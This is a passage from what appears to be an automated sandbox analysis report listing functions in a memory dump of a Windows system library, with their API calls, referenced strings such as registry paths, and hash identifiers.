DbgPrint.1105(6BFE6B94,?,?,?,?,?,?,6C0C38D6), ref: 6C06047A

Strings

RtlGetUserInfoHeap, xrefs: 6C060468
, passed to %s, xrefs: 6C060469
Invalid heap signature for heap at %p, xrefs: 6C060458
HEAP: , xrefs: 6C06044C
HEAP[%wZ]: , xrefs: 6C06043F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlGetUserInfoHeap
API String ID: 3558298466-609737958
Opcode ID: 29cda710d1c298dd63418b327e06bb01ea1cabaca8214de709b86b7156a8e081
Instruction ID: 03c44ae24c00d641f37b75ecca123bc02b4a5b14d81e5122f496d19828ae3355
Opcode Fuzzy Hash: 29cda710d1c298dd63418b327e06bb01ea1cabaca8214de709b86b7156a8e081
Instruction Fuzzy Hash: AC01D873209584FEE2358BA5A40CFD677E4DB45F38F264069F1144BF52CBA9A485C135

Uniqueness

Uniqueness Score: -1.00%

Function 6C006800, Relevance: 16.9, APIs: 11, Instructions: 373memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6C0069E0
RtlEnterCriticalSection.1105(6C0F79A0,?,00000000,?), ref: 6C006A06
memcpy.1105(?,?,?,6C0F79A0,?,00000000,?), ref: 6C006A2F
RtlLeaveCriticalSection.1105(6C0F79A0), ref: 6C006A3C
memset.1105(00000000,00000000,000002A4,6C0F79A0), ref: 6C006A4D

Part of subcall function 6C006C14: memcpy.1105(?,?,?,?,00000000,00000024,?,?,6C006BCE,?,00000208,6C0F79A0,?,?,6C0F79A0), ref: 6C006C39
Part of subcall function 6C006C14: memset.1105(00000208,00000000,00000208,?,00000000,00000024,?,?,6C006BCE,?,00000208,6C0F79A0,?,?,6C0F79A0), ref: 6C006C71

RtlDeNormalizeProcessParams.1105(00000000,?,?,00000000,?,?,?,?,?,?,-00000002,?,00000208), ref: 6C061C03

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionmemcpymemset$AllocateEnterHeapLeaveNormalizeParamsProcess
String ID:
API String ID: 2315816726-0
Opcode ID: 32b5a89671097e073ee1065f1542e6869c56ade85d8550982569efa272ddbfce
Instruction ID: 0a04735dcd79483df1c1d3c153ab75688de3945ee30aae97710c547653e45a74
Opcode Fuzzy Hash: 32b5a89671097e073ee1065f1542e6869c56ade85d8550982569efa272ddbfce
Instruction Fuzzy Hash: 0BD1A071B006059BEB04CF69C890BEE77F6AF05318F154629EC25DBE90E734E985CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0851BE, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 173nativememoryCOMMON

Download Yara Rule

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6C0E05F0,00000080,6C075CA1,?,?,00000000,0000000E,00000000), ref: 6C085205

Part of subcall function 6C049860: LdrInitializeThunk.NTDLL(6C0915BB,00000073,?,00000008,00000000,?,00000568), ref: 6C04986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6C0E05F0,00000080,6C075CA1,?,?,00000000,0000000E,00000000), ref: 6C085249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6C0E05F0,00000080,6C075CA1,?,?,00000000,0000000E), ref: 6C085262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6C0E05F0,00000080,6C075CA1), ref: 6C08528A
RtlFindCharInUnicodeString.1105(00000001,?,6BFE1810,?,6C0E05F0,00000080,6C075CA1,?,?,00000000,0000000E,00000000), ref: 6C085310
RtlEnterCriticalSection.1105(?,6C0E05F0,00000080,6C075CA1,?,?,00000000,0000000E,00000000), ref: 6C085351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6C0E05F0,00000080), ref: 6C08537F

Strings

Legacy, xrefs: 6C085226
UEFI, xrefs: 6C08521D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: 3706dfbb37e72b4a3eee1eb031729d192edc7d57250e221e52c660fb2870de90
Instruction ID: 047267e42fe5cd38c64de8017f42ed3943baf77f1531cc49ff61baf5be913af3
Opcode Fuzzy Hash: 3706dfbb37e72b4a3eee1eb031729d192edc7d57250e221e52c660fb2870de90
Instruction Fuzzy Hash: FF519175905618AFEF11CFA8C940BAEBBF8FF49304F14802DE65AEB651DB719900CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6C083C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6C083CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6C083CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6C083CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6C083D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6C083D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6C083DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6C083DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6C083DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6C083DCD

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: 1702828a6df17af75cb160a5fe64ae316b9a93595c852da726009a61e6b330e3
Instruction ID: 28470b6b5e9af9d00974c637aa3fc9dd2fb0f43fb9080291168431c695d19723
Opcode Fuzzy Hash: 1702828a6df17af75cb160a5fe64ae316b9a93595c852da726009a61e6b330e3
Instruction Fuzzy Hash: 82412B36D01209BADF04CBA5D851BEEB7F8EF4C314F54812AE911E3980E775EA45C760

Uniqueness

Uniqueness Score: -1.00%

Function 6C03F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137memorynativefileCOMMON

Download Yara Rule

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6C03F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6C03F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6C03F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6C03F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6C03F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6C07BAAB
ZwClose.1105(?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6C0F79A0,6C0F79A0), ref: 6C07BABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6C07BACC

Strings

@, xrefs: 6C03F124

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 84705ef6901a4c9e58fd58dc29cc7d3ddc5e8b5dc34d588922279a4f30758708
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 3F515A71505711ABC320CF59C840B6BB7F8FF48B14F108A2DF99597A90E7B4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BE0E9, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 125memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6C0BE12F
ZwOpenKey.1105(00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6C0BE163

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000,?), ref: 6C0BE17F
RtlAllocateHeap.1105(?,00000008,-00000002,00000007,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,00000000), ref: 6C0BE1C3
ZwClose.1105(00000000,?,00000000,?), ref: 6C0BE22C
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,?), ref: 6C0BE241

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6C0BE126
PreferredUILanguages, xrefs: 6C0BE176
@, xrefs: 6C0BE156

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapInitStringUnicode$AllocateCloseFreeInitializeOpenThunk
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3331478053-2968386058
Opcode ID: 4c508b2f0d79a50f347317acb31ff6deb761e40b1164715934e3b4f902bb89f5
Instruction ID: 06aca1486f2e671d4137354629a557e224ce2c27ea4628af8242d76776d165d3
Opcode Fuzzy Hash: 4c508b2f0d79a50f347317acb31ff6deb761e40b1164715934e3b4f902bb89f5
Instruction Fuzzy Hash: EF414272D01609ABDB11CF94D880FEEB7FCAB04714F1041AAEA14B7650D775AA44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0176FE, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 116nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,Latest,00000000,02BDFFFE,?), ref: 6C01774E
RtlAppendUnicodeToString.1105(02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6C017776

Part of subcall function 6C01A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6C01A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6C01A9E2

RtlAppendUnicodeToString.1105(02000000,6BFE5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6C017791
RtlAppendUnicodeToString.1105(02000000,?,02000000,6BFE5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6C0177A9
ZwOpenKey.1105(00000000,00020019,00000018,02000000,?,02000000,6BFE5000,02000000,\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages), ref: 6C017801

Strings

Latest, xrefs: 6C017748
\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages, xrefs: 6C017770
@, xrefs: 6C0177EB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Append$InitOpenmemmove
String ID: @$Latest$\Registry\Machine\Software\Microsoft\LanguageOverlay\OverlayPackages
API String ID: 1239783430-1383699509
Opcode ID: ea7113d73a77053d2dbf5f2fec62d62953230618f1c50436207055b5e185928a
Instruction ID: 082d5740f3130ea256f6fba074bf33e0c5d0838d020c5fe39505309f45f3c8f3
Opcode Fuzzy Hash: ea7113d73a77053d2dbf5f2fec62d62953230618f1c50436207055b5e185928a
Instruction Fuzzy Hash: E1415F71D4162DABDB218F59CC88BDEB7F8AF05314F4145EAD808A7A10DB709E89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B6369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113nativefileCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6C0B63E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6C0B643E

Part of subcall function 6C0B60A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6C0B60C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6C0B6490

Part of subcall function 6C0499A0: LdrInitializeThunk.NTDLL(6C091A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6C0499AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6C0B64BB

Part of subcall function 6C049780: LdrInitializeThunk.NTDLL(6C091A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6C04978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6C0B64C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6C0B64DA

Strings

\SystemRoot\Globalization\, xrefs: 6C0B6388
@, xrefs: 6C0B641B
.nlp, xrefs: 6C0B63C0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: 1828899127c13692f81f1bd8d523ba0aa364f4177417d8fdd915bf6f23cf733f
Instruction ID: e76656407e8cca9af47869068c8a3d69742a69d47eb5ce9c4f0a911bb3c358da
Opcode Fuzzy Hash: 1828899127c13692f81f1bd8d523ba0aa364f4177417d8fdd915bf6f23cf733f
Instruction Fuzzy Hash: 35414F7194162CABDB25DA64CC88BDEB7BCEB44314F1041F5A908F7650DB769E88CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0337EB, Relevance: 15.3, APIs: 10, Instructions: 269memorynativeCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.1105(?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C033817

Part of subcall function 6C01B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6C03381C,?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000,00000000), ref: 6C01B076

RtlAllocateHeap.1105(?,?,00000120,?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000,00000000,?,?,?,6C0DFEB8,0000001C), ref: 6C033860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000,00000000), ref: 6C03389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6C0DFF48,00000050,6C033E98,?,6C02F900,00000000), ref: 6C033916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6C0DFF48,00000050,6C033E98), ref: 6C03394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6C0339C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6C02C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6C033A0C
RtlAcquireSRWLockExclusive.1105(6C0F86B4,00000000,00000024,000F00FF,00000000,?,000000FF,6C02C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6C033A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6C0DFF48,00000050,6C033E98), ref: 6C033AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6C02C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6C033B1F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: 6ba99616f2a124582d648819df5e394aeaf1a50e715b347ab09790a371f5f98e
Instruction ID: aea2637eac766e47dac141ab4fe74adcad6d5a29eb3efcd38e0b5160f5d7af4c
Opcode Fuzzy Hash: 6ba99616f2a124582d648819df5e394aeaf1a50e715b347ab09790a371f5f98e
Instruction Fuzzy Hash: 94B143B190161ADFCB15CFA9C980B9EBBF4FB49704F14812EE51AABB50D734A902CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C08AE60, Relevance: 15.2, APIs: 5, Strings: 5, Instructions: 247COMMON

Download Yara Rule

APIs

memcpy.1105(00000000,?,0000002F,?,?,00000000,?,?,?,?,6C094109), ref: 6C08AFBD
memcpy.1105(00000000,00000000,?,00000000,?,0000002F,?,?,00000000,?,?,?,?,6C094109), ref: 6C08AFD1
memcpy.1105(00000000,?,00000000,?,?,00000000,?,?,?,?,6C094109), ref: 6C08B065
memcpy.1105(00000000,\microsoft.system.package.metadata\Application,?,?,00000000,?,?,?,?,6C094109), ref: 6C08B080
memcpy.1105(-0000000E,00000000,?,?,00000000,?,?,?,?,6C094109), ref: 6C08B0A9

Strings

Al/, xrefs: 6C08B0F3, 6C08AFF4
.Local, xrefs: 6C08B092
\, xrefs: 6C08AE86
\microsoft.system.package.metadata\Application, xrefs: 6C08B07A
.DLL, xrefs: 6C08AFE9, 6C08B0BE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: Al/$.DLL$.Local$\$\microsoft.system.package.metadata\Application
API String ID: 3510742995-2154335811
Opcode ID: 774e3f58a67eb26a4772c8ad1c3bf5ddd29cc370ac4224b1acb679ce62a133a1
Instruction ID: da64800f664e18c4384a09c843f020101e23a59a7463ed918d9d225ad667607d
Opcode Fuzzy Hash: 774e3f58a67eb26a4772c8ad1c3bf5ddd29cc370ac4224b1acb679ce62a133a1
Instruction Fuzzy Hash: A791A0729026299BCF11CFACC880BAEB7F5EF49314F648169E810E7B90D735D905CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6C02F86D, Relevance: 15.1, APIs: 10, Instructions: 124threadmemoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6C0DFEB8,0000001C,6C002C4C,?), ref: 6C02F9C6

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: 9fd8a98dc07f71f2ad0ede8c7416bb5c9429b53c4d3d491b7282b1d83af3fc91
Instruction ID: 451f8262c367d111fcbe080e3f62e2a4cac7891397220ad35b2b13e907e2dc50
Opcode Fuzzy Hash: 9fd8a98dc07f71f2ad0ede8c7416bb5c9429b53c4d3d491b7282b1d83af3fc91
Instruction Fuzzy Hash: C241D371A01225AFEB118FA9C840BDDB3F9BF4A798F24021AE450E7B50D77CE944DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6C005210, Relevance: 15.1, APIs: 10, Instructions: 107memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0052A5: RtlEnterCriticalSection.1105(6C0F79A0,?,00000000,?), ref: 6C0052BF
Part of subcall function 6C0052A5: RtlLeaveCriticalSection.1105(6C0F79A0,6C0F79A0,?,00000000,?), ref: 6C0052DD

memcpy.1105(?,?), ref: 6C00525B
RtlLeaveCriticalSection.1105(6C0F79A0), ref: 6C060D2B
RtlLeaveCriticalSection.1105(6C0F79A0), ref: 6C060D71
ZwClose.1105(?), ref: 6C060D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6C060D95
RtlLeaveCriticalSection.1105(6C0F79A0), ref: 6C060DA7
ZwClose.1105(?), ref: 6C060DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6C060DC5

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CloseFreeHeap$Entermemcpy
String ID:
API String ID: 3163955863-0
Opcode ID: e1ab997d8353b6c7baa596b8f4e2ea462cf1a5bca1bd31c17bcab8d97c185917
Instruction ID: 54e9843e9f8bfda4724d5e9bc037a1d7c680ababf4d4419b092171d4c9889c4c
Opcode Fuzzy Hash: e1ab997d8353b6c7baa596b8f4e2ea462cf1a5bca1bd31c17bcab8d97c185917
Instruction Fuzzy Hash: C0311631689640EBDB228F19C880B5A77E5FF11728F218B29E9650BE90DB30F900C699

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BDF1D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6C0171B4,6C0171B4,?), ref: 6C0BDF8A
RtlCultureNameToLCID.1105(C000000D,00000000,C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6C0171B4), ref: 6C0BDF97
RtlInitUnicodeString.1105(C000000D,00000000,C000000D,00000000,00000200,?,C000000D,00000001,00000000,?,?,00000000,00000000,6C0171B4,6C0171B4,?), ref: 6C0BDFFB
RtlLCIDToCultureName.1105(?,C000000D,C000000D,00000000,00000200,?), ref: 6C0BE036
_wcsicmp.1105(00000001,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6C0BE076
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6C0BE098
RtlFreeHeap.1105(?,00000000,00000000,?,C000000D,C000000D,00000000,00000200,?), ref: 6C0BE0B1

Strings

MUI, xrefs: 6C0BE072

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureFreeHeapInitNameStringUnicode$_wcsicmp
String ID: MUI
API String ID: 3044635390-1339004836
Opcode ID: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction ID: a96c77d4f86da388b000531bf1ad6179f7c23aeaf439b86089c94f1e1129807d
Opcode Fuzzy Hash: f6788a1a59de130229dde858da962be91bc58646c2a3c55cd945894b093d2725
Instruction Fuzzy Hash: D651F3345056169ACB14DF688480BBEF7F5BF40708B54819DE864ABA45EB37D9C2C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6C03FF9C, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 100nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore,?,?,?), ref: 6C03FFD2
ZwOpenKey.1105(?,00020019,?), ref: 6C040005

Strings

@, xrefs: 6C03FFF8
\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore, xrefs: 6C03FFC4
DisableStoreApps, xrefs: 6C07C1AF
AutoDownload, xrefs: 6C07C155

Memory Dump Source

